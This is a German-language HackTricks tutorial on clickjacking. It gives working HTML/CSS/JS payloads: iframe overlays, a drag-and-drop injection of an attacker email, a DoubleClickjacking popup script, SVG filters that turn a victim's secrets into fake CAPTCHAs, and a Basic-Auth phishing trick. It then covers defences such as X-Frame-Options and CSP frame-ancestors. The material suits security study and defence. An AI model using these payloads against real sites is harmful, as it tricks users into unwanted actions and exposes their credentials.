Clickjacking

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Was ist Clickjacking

Bei einem Clickjacking-Angriff wird ein Benutzer getäuscht, ein Element auf einer Webseite anzuklicken, das entweder unsichtbar ist oder als ein anderes Element getarnt wurde. Diese Manipulation kann zu unbeabsichtigten Folgen für den Benutzer führen, wie dem Herunterladen von malware, der Umleitung auf bösartige Webseiten, der Preisgabe von credentials oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.

Formulare vorbefüllen (Trick)

Manchmal ist es möglich, die Werte von Feldern eines Formulars beim Laden einer Seite mit GET parameters zu befüllen. Ein Angreifer kann dieses Verhalten missbrauchen, um ein Formular mit beliebigen Daten zu füllen und das clickjacking payload zu senden, sodass der Benutzer die Schaltfläche Submit drückt.

Formular mit Drag&Drop befüllen

Wenn Sie möchten, dass der Benutzer ein Formular ausfüllt, aber ihn nicht direkt auffordern wollen, bestimmte Informationen einzugeben (wie die E-Mail-Adresse oder ein spezifisches Passwort, das Sie kennen), können Sie ihn einfach bitten, etwas per Drag&Drop zu verschieben, das Ihre kontrollierten Daten eingibt, wie in diesem Beispiel.

Grundlegender Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Mehrstufiger Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Klick-Payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Wenn Sie eine XSS attack that requires a user to click auf ein Element gefunden haben, um die XSS zu triggern, und die Seite für Clickjacking verwundbar ist, können Sie dies ausnutzen, um den Benutzer zum Klicken des Buttons/Links zu verleiten.
Beispiel:
Sie haben eine self XSS in einigen privaten Account‑Details gefunden (Details, die nur Sie setzen und lesen können). Die Seite mit dem Form zum Setzen dieser Details ist vulnerable gegenüber Clickjacking und Sie können das Form mit den GET‑Parametern prepopulate.
Ein Angreifer könnte einen Clickjacking‑Angriff auf diese Seite vorbereiten, das Form mit dem XSS payload prepopulating und den user dazu tricking, das Absenden des Formulars zu bestätigen. Wenn das Formular abgeschickt wird und die Werte verändert sind, wird der user die XSS ausführen.

DoubleClickjacking

Firstly explained in this post, diese Technik bringt das Opfer dazu, zweimal auf einen Button einer eigenen Seite an einer bestimmten Position zu klicken, und nutzt die Zeitunterschiede zwischen mousedown und onclick‑Ereignissen, um während des Doppelklicks die Zielseite zu laden, sodass das victim actually clicks a legit button in the victim page.

Ein Beispiel ist in diesem Video zu sehen: https://www.youtube.com/watch?v=4rGvRRMrD18

Ein Codebeispiel findet sich auf this page.

Warning

Diese Technik ermöglicht es, den Benutzer dazu zu bringen, an einer Stelle auf der Zielseite zu klicken und damit jeden Schutz gegen Clickjacking zu umgehen. Daher muss der Angreifer sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions finden.

Einige PoCs verzichten vollständig auf iframes und halten ein background popup unter dem Cursor ausgerichtet. Die Angreiferseite verfolgt mousemove und verwendet ein kleines Popup (window.open), das mit moveTo() verschoben wird, während es same-origin ist; sobald es ausgerichtet ist, wird es zurück zur target origin umgeleitet, sodass der nächste Klick auf den echten Button fällt. Weil cross‑origin moveTo() blockiert ist, wird das Popup kurzzeitig zu einer Angreifer‑Origin navigiert, um neu positioniert zu werden, dann bringt location/history.back() es zurück zum Ziel. Um das Ziel beim Klick sichtbar zu machen, kann der Angreifer das Popup with the same window name erneut öffnen, um es in den Vordergrund zu bringen, ohne die URL zu ändern.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Moderne Chromium/WebKit/Gecko-Builds erlauben, dass CSS filter:url(#id) auf cross-origin iframes angewendet wird. Die rasterisierten Pixel des iframes werden dem SVG-Filtergraphen als SourceGraphic offengelegt, sodass Primitive wie feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology usw. die UI des Opfers beliebig verformen können, bevor der Nutzer sie sieht, obwohl der Angreifer das DOM niemals berührt. Ein einfacher Liquid-Glass-Style-Filter sieht so aus:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Nützliche Primitive: feImage lädt Bitmaps des Angreifers (z. B. overlays, displacement maps); feFlood erzeugt konstante Farbmatten; feOffset/feGaussianBlur verfeinern Highlights; feDisplacementMap bricht/verformt Text; feComposite operator="arithmetic" implementiert beliebige pro-Kanal-Mathematik (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), was für Kontrastverstärkung, Maskierung und AND/OR-Operationen ausreicht; feTile beschneidet und repliziert Pixel-Proben; feMorphology vergrößert/verkleinert Striche; feColorMatrix verschiebt Luma in Alpha, um präzise Masken zu erstellen.

Verzerren von secrets in CAPTCHA-ähnliche Aufforderungen

Wenn ein framable endpoint secrets (tokens, reset codes, API keys) darstellt, kann der Angreifer sie so verzerren, dass sie wie ein CAPTCHA aussehen und so eine manuelle Transkription erzwingen:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Die verzerrten Pixel täuschen den Nutzer dazu, das captcha innerhalb des vom Angreifer kontrollierten <input> „zu lösen“, dessen pattern das echte Geheimnis des Opfers erzwingt.

Eingaben des Opfers neu kontextualisieren

Filter können Platzhalter-/Validierungstext chirurgisch entfernen und gleichzeitig die Tastatureingaben des Nutzers beibehalten. Ein möglicher Ablauf:

  1. feComposite operator="arithmetic" k2≈4 verstärkt die Helligkeit, sodass grauer Hilfstext zu Weiß sättigt.
  2. feTile begrenzt den Arbeitsbereich auf das input-Rechteck.
  3. feMorphology operator="erode" verdickt die dunklen Glyphen, die das Opfer eingibt, und speichert sie unter result="thick".
  4. feFlood erzeugt eine weiße Fläche, feBlend mode="difference" mit thick, und ein zweites feComposite k2≈100 verwandelt das in eine kontrastreiche Luma-Maske.
  5. feColorMatrix verschiebt diese Luma in den Alpha-Kanal, und feComposite in="SourceGraphic" operator="in" behält nur die vom Nutzer eingegebenen Glyphen.
  6. Ein weiteres feBlend in2="white" plus eine schmale Zuschneidung ergibt ein sauberes Textfeld, woraufhin der Angreifer eigene HTML-Labels (z. B. “Enter your email”) überlagert, während das versteckte iframe weiterhin die Passwortpolitik der Origin des Opfers durchsetzt.

Safari hat Probleme mit feTile; derselbe Effekt lässt sich für WebKit-only payloads mit räumlichen Masken reproduzieren, die aus feFlood + feColorMatrix + feComposite aufgebaut sind.

Pixel-Sonden, Logik und Zustandsmaschinen

Indem der Angreifer mit feTile eine 2–4 px große Region zuschneidet und auf 100% des Viewports kachelt, verwandelt er die abgetastete Farbe in eine Vollbildtextur, die mittels Schwellwert in eine boolesche Maske umgewandelt werden kann:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Für beliebige Farben erzeugt eine feFlood-Referenz (z. B. #0B57D0) zusammen mit feBlend mode="difference" und einer weiteren arithmetischen Composite (k2≈100, k4 als Toleranz) nur dann Weiß, wenn das abgetastete Pixel dem Zielton entspricht. Wenn man diese Masken in feComposite mit abgestimmten k1..k4 einspeist, erhält man Logikgatter: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via Blending gegen Weiß. Das Verketten dieser Gatter ergibt einen full adder innerhalb des Filter-Graphs und beweist damit, dass die Pipeline funktional vollständig ist.

Angreifer können so UI-Zustand ohne JavaScript auslesen. Beispielhafte Booleans aus einem Modal-Workflow:

  • D (dialog visible): eine abgedunkelte Ecke abtasten und gegen Weiß testen.
  • L (dialog loaded): die Koordinaten prüfen, an denen der Button erscheint, sobald er bereit ist.
  • C (checkbox checked): das Checkbox-Pixel mit dem aktiven Blau #0B57D0 vergleichen.
  • R (red success/failure banner): feMorphology und rote Schwellwerte innerhalb des Banner-Rechtecks verwenden.

Jeder erkannte Zustand steuert ein anderes Overlay-Bitmap, eingebettet via feImage xlink:href="data:...". Das Maskieren dieser Bitmaps mit D, L, C, R hält die Overlays synchron zum echten Dialog und führt das Opfer durch mehrstufige Workflows (Passwort-Resets, Genehmigungen, Bestätigungen für destruktive Aktionen), ohne jemals das DOM preiszugeben.

Sandboxed iframe Basic-Auth-Dialog (no allow-popups)

Ein sandboxed iframe ohne allow-popups kann trotzdem ein vom Browser gesteuertes HTTP Basic Authentication modal anzeigen, wenn ein Load mit 401 und WWW-Authenticate antwortet. Der Dialog wird von der Networking/Auth-Schicht des Browsers erzeugt (nicht von JS-alert/prompt/confirm), daher unterdrücken Sandbox-Popup-Einschränkungen ihn nicht. Wenn du das iframe skripten kannst (z. B. sandbox="allow-scripts"), kannst du es zu jedem Endpoint navigieren, der eine Basic-Auth-Challenge ausgibt:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Sobald die Antwort eintrifft, fordert der Browser Anmeldedaten an, obwohl Popups deaktiviert sind. Das Einbetten (framing) einer vertrauenswürdigen Origin mit diesem Trick ermöglicht UI-redress/Phishing: unerwartete modale Prompts innerhalb eines “sandboxed” Widgets können Benutzer verwirren oder Passwortmanager dazu bringen, gespeicherte Anmeldedaten anzubieten.

Browser-Erweiterungen: DOM-based autofill clickjacking

Abgesehen vom Iframing von Opferseiten können Angreifer UI-Elemente von Browser-Erweiterungen ins Visier nehmen, die in die Seite injiziert werden. Passwortmanager rendern autofill dropdowns in der Nähe fokussierter Inputs; durch das Setzen des Fokus auf ein vom Angreifer kontrolliertes Feld und das Verbergen/Verdecken des Dropdowns der Extension (opacity/overlay/top-layer tricks) kann ein erzwungener Klick des Benutzers einen gespeicherten Eintrag auswählen und sensible Daten in vom Angreifer kontrollierte Inputs einfüllen. Diese Variante erfordert keine iframe-Exposition und funktioniert vollständig über DOM/CSS-Manipulation.

Ein reales Beispiel: Dashlane meldete ein passkey dialog clickjacking-Problem (Aug 2025), bei dem XSS on the relying-party domain einem Angreifer erlaubte, HTML über den passkey-Dialog der Extension zu legen. Ein Klick auf das Element des Angreifers würde mit dem legitimen passkey-Login fortfahren (der passkey selbst wird nicht offengelegt) und damit effektiv eine UI-Redress in Kontozugang verwandeln, falls das RP bereits für Script-Injection verwundbar ist.

Strategien zur Minderung von Clickjacking

Client-seitige Abwehrmaßnahmen

Auf dem Client ausgeführte Scripts können Maßnahmen ergreifen, um Clickjacking zu verhindern:

  • Sicherstellen, dass das Anwendungsfenster das Haupt- bzw. oberste Fenster ist.
  • Alle Frames sichtbar machen.
  • Klicks auf unsichtbare Frames verhindern.
  • Benutzer auf mögliche Clickjacking-Versuche aufmerksam machen.

Diese frame-busting Scripts können jedoch umgangen werden:

  • Sicherheitseinstellungen des Browsers: Manche Browser könnten diese Scripts aufgrund ihrer Sicherheitseinstellungen blockieren oder wenn JavaScript nicht unterstützt wird.
  • HTML5 iframe sandbox Attribut: Ein Angreifer kann frame-buster-Scripts neutralisieren, indem er das sandbox Attribut mit den Werten allow-forms oder allow-scripts setzt, jedoch ohne allow-top-navigation. Dadurch kann das iframe nicht überprüfen, ob es das top window ist, z. B.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die Werte allow-forms und allow-scripts erlauben Aktionen innerhalb des iframe, während die Navigation auf oberster Ebene deaktiviert wird. Um die beabsichtigte Funktionalität der Zielseite sicherzustellen, können je nach Angriffsart zusätzliche Berechtigungen wie allow-same-origin und allow-modals erforderlich sein. Meldungen in der Browser-Konsole können Hinweise geben, welche Berechtigungen erlaubt werden müssen.

Server-Side Defenses

X-Frame-Options

Der X-Frame-Options HTTP-Antwort-Header informiert Browser darüber, ob das Rendern einer Seite in einem <frame> oder <iframe> legitim ist und hilft, Clickjacking zu verhindern:

  • X-Frame-Options: deny - Keine Domain kann den Inhalt einbetten.
  • X-Frame-Options: sameorigin - Nur die aktuelle Seite kann den Inhalt einbetten.
  • X-Frame-Options: allow-from https://trusted.com - Nur die angegebene ‘uri’ kann die Seite einbetten.
  • Beachten Sie die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, funktioniert sie möglicherweise nicht. Einige Browser bevorzugen die CSP frame-ancestors-Direktive.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP ist die empfohlene Methode zum Schutz vor Clickjacking:

  • frame-ancestors 'none' - Ähnlich wie X-Frame-Options: deny.
  • frame-ancestors 'self' - Ähnlich wie X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Ähnlich wie X-Frame-Options: allow-from.

Zum Beispiel erlaubt die folgende CSP das Einbetten nur von derselben Domain:

Content-Security-Policy: frame-ancestors 'self';

Weitere Details und komplexe Beispiele finden Sie in der frame-ancestors CSP documentation und Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injection-Angriffe zu verhindern, indem sie angibt, welche Quellen der Browser zum Laden von Inhalten zulassen soll.

frame-src Directive

  • Definiert gültige Quellen für Frames.
  • Spezifischer als die default-src-Direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt Frames von derselben Origin (self) und https://trusted-website.com.

child-src Direktive

  • Eingeführt in CSP Level 2, um gültige Quellen für Web Worker und Frames festzulegen.
  • Dient als Fallback für frame-src und worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt frames und workers von derselben Origin (self) und https://trusted-website.com.

Nutzungshinweise:

  • Abkündigung: child-src wird zugunsten von frame-src und worker-src eingestellt.
  • Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für frames verwendet. Fehlen beide, wird default-src verwendet.
  • Strikte Quellenangabe: Nimm nur vertrauenswürdige Quellen in die Direktiven auf, um Missbrauch zu verhindern.

JavaScript Frame-Breaking Scripts

Obwohl nicht vollständig narrensicher, können JavaScript-basierte frame-busting scripts verwendet werden, um zu verhindern, dass eine Webseite in einem Frame geladen wird. Beispiel:

if (top !== self) {
top.location = self.location
}

Anti-CSRF-Tokens einsetzen

  • Token-Validierung: Verwenden Sie anti-CSRF tokens in Webanwendungen, um sicherzustellen, dass zustandsändernde Anfragen absichtlich vom Benutzer erfolgen und nicht über eine Clickjacked page.

Quellen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks